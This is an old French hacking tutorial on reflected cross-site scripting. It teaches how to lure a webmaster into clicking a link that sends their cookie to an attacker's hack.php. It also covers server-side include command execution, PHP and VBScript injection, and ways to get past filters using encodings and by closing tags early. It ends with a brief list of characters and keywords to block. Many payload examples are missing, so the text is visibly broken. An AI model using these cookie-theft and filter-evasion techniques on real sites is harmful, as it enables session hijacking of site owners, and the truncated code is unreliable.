Cross Site Scripting ******************** Introduction ************ Comme j'ai fait un tutoriel sur les failles cross site scripting PHPNuke, je vais maintenant approfondir un peu le sujet. Parfois on me dit "ce sont que des failles qui servent à rien"... voyons d'abord comment s'en servir :) La methode d'utilisation du xss la plus connue est celle du social engineering avec un lien en html qui contient un code pas gentil. Alors le webmaster se dit "pas grave je vais faire attention" ou il empeche la lecture du html dans la reception des mails. Et bien ce n'est pas suffisant... loin de là. La faille cross site scripting est enormement répandue dans les pages web dynamiques et fort sous-estimée. Rappel : Le "cross site scripting" est une faille permettant, le plus souvent dans une page web dynamique contenant un formulaire, de faire executer du code javascript, html ou autre directement sur le site. Nous n'allons pas aborder ici le sujet du XSS "permanent" mais il est difficile de le contourner totalement. Vous pouvez avoir + d'infos au sujet du xss ici : http://www.cert.org/advisories/CA-2000-02.html Le SE ***** Commencons par l'utilisation la plus connue du cross site scripting : le social engineering. Literalement : Ingénierie sociale, càd le fait de savoir se comporter avec les gens, une sorte de sciences des contacts sociaux. Ici comme la plupart du temps dans le hack à des fins de tests ou illegales. Notre but est donc de faire executer un code par le webmaster. Disons par exemple de prendre son cookie. Bon, je place un fichier php par exemple hack.php sur un serveur . Je me trouve un script script.cgi avec une valeur val qui est atteind de XSS. Pour recuperer le cookie, je doit donc obliger le webmaster à aller à l'url 'http:///fichier.php?val=' + son document.cookie Il nous faudra donc envoyer au webmaster un message de ce genre : " Bonjour, il y a un probleme dans votre site /hack.php?"+document.cookie"> ici " En voyant l'url sur son propre site, le webmaster risque de ne pas se mefier et de cliquer sur le lien. SSI *** Les SSI (Server Side Include) sont des petites commandes éxécutées par le serveur. Elle ne fonctionne que si les SSI sont activés, donc le plus souvent sur des sites utilisant asp. On peut par exemple s'en servir pour inclure un fichier dans une page : ou On peut aussi utiliser les SSI pour rediriger vers une autre url, en remplacant le menu.html ou le article.html par l'url où on veut que le webmaster se rende. Ou encore faire executer des commandes, comme la commande id pour connaitre l'username du serveur web : http:///script.asp?comment= VBS *** Certains elements du vbscript peuvent en effet être executés grâce à du cross site scripting. Essayez par exemple http://host/script.php?val=msgbox%20"VbScRiPt". PHP *** On peut essayer d'inserer des commandes en php grâce aux requetes . On peut par exemple envoyer un mail : /script.php?val= ou bien faire executer des commandes : /script.php?val= HTML **** Pour faire afficher une page ou rediriger vers une autre page, il n'y a pas que les cas qui ont été vus ci-dessus. Par exemple la balise IFRAME : ou : ou encore : ainsi que la balise EMBED, FORM et bien d'autres. Les filtres *********** Les filtres supprimant par exemple les caracteres < ou " ne sont parfois pas suffisant. Le caractere " peut par exemple être remplacé par son encodage (Latin-1) : " ou encore ". Donc par exemple : www.host.com/form.asp?msg= Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles : ! : ! ? : ? " : " [ : [ $ : $ / : / % : % \ : \ ' : ' ] : ] ( : ( ` : ` ) : ) a-z : a-z + : + { : { : : : | : | < : < } : } = : = > : > Je n'ai mis ni & ni #, car si ils sont filtrés, il le seront aussi dans ce cas là. Et aussi : " : " ]\ < : < ] } sera considéré comme du texte > : > ]/ un peu de culture par Majen : l'euro : € & : %26 ! : %21 ? : %3F " : %22 [ : %5B $ : %24 / : %2F \ : %5C ' : %27 ] : %5D ( : %28 ` : %60 ) : %29 + : %2B { : %7B : : %3A | : %7C < : %3C } : %7D = : %3D > : %3E # : %23 ; ; %3B a-y : %61-%79 Autre chose... si on a une page du style /script.cgi?tel=03264598714 et quand dans la source on voit qqchose du genre , une possibilité qui a fonctionné par exemple sur le site www.microsoft.com est de commencer le code à inscrire dans la valeur par "> , par exemple /script.cgi?tel=">. Le code source peut être alors interpreté de la sorte : /* le dernier "> etant celui qu'on a inseré au debut de la valeur. Le input est alors fermé /* et "tel" a une valeur vide. /* Vient alors le script... "> /* et la fin du input qui étais là à la base et sera surement interprété comme du texte. Dans le même style vous pouvez aussi essayer '>[SCRIPT] ou [SCRIPT] ou encore ">[SCRIPT]<" . Il faut aussi pouvoir jouer avec les filtres fixés. Imaginez par exemple qu'un filtre repere le mot "script", et s'en debarasse en le supprimant. Essayez alors d'entrer un script dans ce genre : alert('test') Verifiez que un caractere ou un mot ne soit pas remplacé par un caractere sensible. Si par exemple ? n'est pas accepté mais que "cookie" est remplacé par ?, il vous suffira d'entrer qqchoz.php?val= Un dernier truc au niveau filtre... dans certains cas, si ' est interdit, il peut etre remplacé par l'antislash \ . Ou alors, il y a la balise form. pour faire , il suffira d'ecrire le code :
Il faut aussi savoir qu'une balise form ne peut pas être imbriquée dans une autre balise form. Si dans la source ça donne :
Cela ne fonctionnera pas, il faudrait d'abord fermer la première balise avec un , et donc commencer le code inseré par cela. Solution : ********** Normalement, si vous bloquez ces caracteres, vous ne devriez plus avoir de problemes de cross site scripting : <> # & % ! [] ? ; \. Mais pour + de secu, voici une liste de mots/caracteres (evidemment pas complète) pouvant être néfastes pour un site : EMBED script VBS " ' location cookie : LINK IFRAME javascript ( ) ; refresh OBJECT onload onStart + = $ * Il y a des scripts anti-cross site scripting déjà tout fait sur cert.org, je n'en ai donc pas fait de nouveaux. Et on peut utiliser des fonctions du langage déjé préparées, comme htmlspecialchars() en php. Le cross site scripting est une "matière" que je découvre, je ne la maitrise pas parfaitement. D'autant plus que ce tutoriel parle surtout du XSS dit "non-permanent", càd uniquement via des urls. Mais le fait d'envoyer par exemple un email ou de poster sur un guestbook un message contenant un script néfaste est aussi du XSS. Greetz / dedicated to : *********************** Val2, Tobozo, [RaFa], Majen, Wong Family, Entity, C-2K, Cert.org, H3zEN, Skull.Rider, Juliendusud, HX. Credits : ********* frog-m@n leseulfrog@hotmail.com 21/01/02 Correction : ************ Le texte a été légerement revu le 28/11/02. Une nouvelle version devrait sortir un jour ou l'autre :)